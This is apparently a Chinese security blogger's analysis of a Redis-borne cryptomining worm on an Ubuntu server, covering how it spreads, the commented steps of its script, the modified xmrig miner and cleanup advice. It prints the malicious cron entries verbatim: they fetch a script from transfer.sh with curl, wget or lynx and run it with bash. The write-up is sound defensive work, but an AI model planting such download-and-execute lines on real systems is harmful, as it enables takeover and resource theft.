印象中,从2017年下半年开始,感觉挖矿事件层出不穷。只要有客户的网络系统发生异常报告,基本都是从CPU发生异常开始。现在只要听到客户报告其主机系统出现异常,我们的第一反应就是,是不是又是“挖矿”啊?还真的是,到了现场一看,确实,恭喜“亲”,你又成为辛勤奉献、任劳任怨的苦力小矿工了。
一、系统环境
操作系统:Ubuntu
内核:Linux4.4.0-57-generic x86_64
该主机对外开放两个端口,分别是22端口(SSH-2.0-OpenSSH_7.2p2)、80端口(nginx/1.4.6)。经过分析,发现80端口的日志和目录、文件基本没有异常,22端口也没有其他异常情况。
二、病毒分析
通过本地分析,发现一堆由pnscan进程发出去的6379端口网络扫描行为,判断应该是针对redis的病毒扫描程序。
另外,还有两个名为gpg的进程占用很高的CPU,并且对外有网络链接。
此外,还发现该主机竟然开放redis服务,而且绑定地址已经修改为127.0.0.1:6379。哇,小伙伴安全意识蛮到位的嘛,竟然会加固redis安全了。可是通过和客户磋商,其确实有安装redis服务,可是上面并没有跑业务数据,而且只用于学习开发,也仅仅是默认安装,并没有做任何安全设置。
好吧,看来,初步判断应该是通过redis入侵主机系统。
于是登录 redis控制台,输入keys *命令(反正没有业务系统,呵呵,不怕数据多的让你挂掉),发现创建了三个Key,分别名为Backup1、Backup2和Backup3。
其内容分别如下:
Backup1: */2 * * * * curl -shttps://transfer.sh/GoZkF/tmp.DoRh9YAdFi > .cmd && bash .cmd
Backup2: */5 * * * * wget -O .cmd https://transfer.sh/GoZkF/tmp.DoRh9YAdFi&& bash .cmd
Backup3: */10 * * * * lynx -sourcehttps://transfer.sh/15TRyl/tmp.pCnR6is0Gm > .cmd && bash .cmd
确定了,就是通过redis未授权访问漏洞入侵的系统。接下来看看具体的恶意脚本和文档,看看攻击者到底想干嘛?
1、transfer.sh文件共享
刚开始还以为transfer.sh又是攻击者申请用来干坏事的域名。呵呵,大家别笑俺孤陋寡闻,以前真不知道,没有用过transfer.sh服务。
打开其主页,发现其竟然提供的是正常的服务,该网站提供黑屏下文件共享的方式(命令行式文件分享网),经过细看,哇塞,竟然在黑屏下提供了上传、下载文件的功能,用户可直接通过命令行工具把文件上传到该网站,网站生成该文件下载连接url,可供其他用户下载。其功能还蛮强大的,根据介绍,其特征包括:命令行下使用/url共享链接/上传最大10gb/文件保存14天/免费/加密/无限次数下载等,如上图所示。哇哇,这网站tmd真是无私奉献啊,令人肃然起敬。对用户来说,提供了多少便利。知道了此网站的存在和用法,也是本次病毒分析的一大收获了,呵呵。
话说回来,对该网站最爱的应该是黑客了吧,简单,还提供了免费的域名(中转站)。命令行下直接使用,无需验证,感觉这个网站的所有者是否就是黑客出身(妄测一下),太贴合需求了。
2、脚本分析
从上述Backup里面包含的URL分别下载了tmp.DoRh9YadFi(大小4,853)和tmp.pCnR6is0Gm(大小4,783)文件,发现两个文件只有极小的差异,完成的功能是一样的。
脚本很长,很多命令都要重新去查询,去学习。原来以前都看不清所谓的“脚本小子”,其实这些在LINUX下写脚本的人真的是太聪明了,很震撼。不过脚本太复杂了,有些地方考虑还是不周,不如权限的问题、下载的问题、还有pnscan病毒扫描程序的编译问题等,如果有任何一步出现问题,整个功能就大打折扣了。在实际测试中,我们发现关是利用yum/apt-get下载相应的库和包就需要漫长的时间,下载的东西太多了,作者想的真全面啊。
具体的内容和解释如下,如果有些解释不到位的地方望大家指正,#后面是自己加的注释。
#休眠一秒
#当前目录下查找60分钟之前修改过的名为.mxff0的普通文件,并删除
#创建 .mxff0文件
#删除文件
#临时关闭防火墙,关闭输出
#关闭selinux
#清除当前cron定时任务
#删除/var/spool/cron
//设置dns解析为8.8.8.8
#删除/tmp,/var/tmp下文件和/etc/root.sh
#修改/etc/security/limits.conf文件,limits.conf文件限制着用户可以使用的最大文件数,最大线程,最大内存等资源使用量
#防火墙修改redis只让本机访问
#杀掉包含下列字符串的进程,好疯狂。
#又删除/tmp和/var/tmp下的文件
#清除登录日志、历史记录
echo 0 > /var/spool/mail/root
#下载安装相应的库和软件包
#如果是CentOS系统,用yum下载安装
#如果是Redhat系统,用yum下载安装
#如果是Fedora系统,用yum下载安装
#如果是Ubuntu系统,用apt下载安装
#如果是Debian系统,用apt下载安装
#如果是Mint系统,用apt下载安装(Linux Mint由Linux MintTeam团队于2006年开始发行,是一份基于Debian和Ubuntu的Linux发行版)
#如果是Knoppix系统,用apt下载安装(KNOPPIX是一个linux发行版,基于debian,功能包括:自动硬件监测、支持常见的显卡、声卡、SCSI和USB设备,以及其它外设)
#如果本地不存在pnscan,则去下载
#解压、编译、安装pnscan
#从transfer.sh下载tmp.Woq2ONMx8z文件
#文件改名、增加执行属性、运行后删除(进程为.gpg)
#对redis进行操作,添加定时任务
#利用pnscan进行病毒扩散
#写入IP地址文件到.ran
#循环扫描 Redis服务器(目标针对linux)
#如果成果扫到redis服务器,就利用redis-cli客户端写入.dat内容完成病毒感染
#再次清除日志记录、登录历史等
———————————————————————————————————————————————————————————————————————————
上述脚本中,刚开始有些地方还是没有弄清楚。
(1)比如作者会在目标机器中下载并安装redis,如果说安装redis客户端还情有可原,毕竟利用pnscan扫描程序的时候,如果有扫描到空口令的redis服务器,是利用redis-cli去连接并执行命令的。可是为什么每台主机还要安装redis-server呢?难道安装redis-cli必须安装server?
经过全程分析,最后明白了,作者是禁止了原主机的redis:0.0.0.0:6379端口访问,重新安装了一个redis服务并只绑定127.0.0.1:6379端口,从而防止被别的恶意软件再次侵袭。可是万一机器主人本来是用来可以内部局域网访问的咋整呢?唉。
3、进程.gpy分析
gpy进程发出的链接如下图所示:
直接用编辑软件打开发现其是xmrig的挖矿软件(最简单的就是用文本编辑可以查找到xmrig字符串)。作者对xmrig代码进行了修改并重新编译。加参数—version运行,结果如下图所示:
加参数 –help命令执行。其界面如下图所示,是典型的xmrig挖矿的界面,只不过作者把文件名修改成了svshost。
实际运行的gyp进程没有带任何参数,而我们知道xmrig软件是带参数运行的(要么命令行直接加参数,或者命令行指定参数文件)。那么参数在哪呢?按常理,肯定是作者直接在程序里面写死了。
于是我们直接调用IDA对其进行反编译,找到作者的参数如下图所示(实际代码中,作者还是把字符串分成一个一个字符的形式):
钱包地址为:
占用CPU最大:50%(还蛮人性的,呵呵)
域名和IP查询
IP查询如下图所示:
域名信息查询如下如下图所示:
BS是巴哈马群岛。
猜测该矿池应该是个小矿池或者是一个矿池代理。由于不知道如何查询其挖矿情况,希望知道的朋友多指教。
三、应对措施
1、 重新安装redis(千万不要赋予root权限)服务,根据客户实际需要对特定IP开放端口(利用防火墙设置,尤其是必须对外(公网)提供服务的情况下),如果只是本机使用,绑定127.0.0.1:6379 ,增加认证口令。
2、 清除定时任务
3、 杀掉进程、删除实体
领取专属 10元无门槛券
私享最新 技术干货